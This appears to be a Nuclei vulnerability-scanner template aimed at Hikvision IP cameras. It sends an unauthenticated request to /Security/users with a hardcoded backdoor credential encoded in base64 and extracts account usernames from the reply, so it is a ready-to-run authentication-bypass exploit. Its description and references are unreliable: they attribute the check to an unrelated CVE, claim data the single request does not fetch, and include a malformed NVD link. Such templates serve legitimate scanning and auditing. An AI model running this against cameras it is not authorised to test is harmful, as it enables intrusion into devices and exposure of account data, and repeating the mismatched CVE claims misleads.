id: hikvision-cam-info-exposure

info:
  name: Hikvision IP Camera - Info Exposure
  author: AbdulrahmanTamim
  severity: high
  description: |
    Unauthenticated exposure of sensitive endpoints was detected on vulnerable Hikvision IP cameras. This included live snapshot feeds, encrypted configuration files, and full user credential XML through CVE-2021-36260 exploit chaining and bypass logic.
  reference:
    - https://www.exploit-db.com/exploits/45231
    - https://www.cve.org/CVERecord?id=CVE-2021-36260
    - https://nvd.nist.nist.gov/vuln/detail/CVE-2021-36260
    - https://seclists.org/fulldisclosure/2017/Sep/23
  metadata:
    verified: true
    max-request: 1
    shodan-query: 3.1.3.150324
  tags: hikvision,iot,camera,exposure,discovery

variables:
  b64auth: YWRtaW46MTEK

http:
  - method: GET
    path:
      - "{{BaseURL}}/Security/users?auth={{b64auth}}"

    matchers:
      - type: dsl
        name: Usernames
        dsl:
          - contains_all(body, "userName","userLevel")
          - contains(content_type,"application/xml")
          - status_code == 200
        condition: and

    extractors:
      - type: regex
        name: Usernames
        group: 1
        regex:
          - "<userName>(.*?)</userName>"
# digest: 4b0a00483046022100d375988361f21be2dced2a13690741a7ad86047048cf52bd8d1e73a397a365ff02210094d9a3fe50a6d8dd737c2fedfe3eca0bd325edccd7cc0a22634495cac302ea82:922c64590222798bb761d5b6d8e72950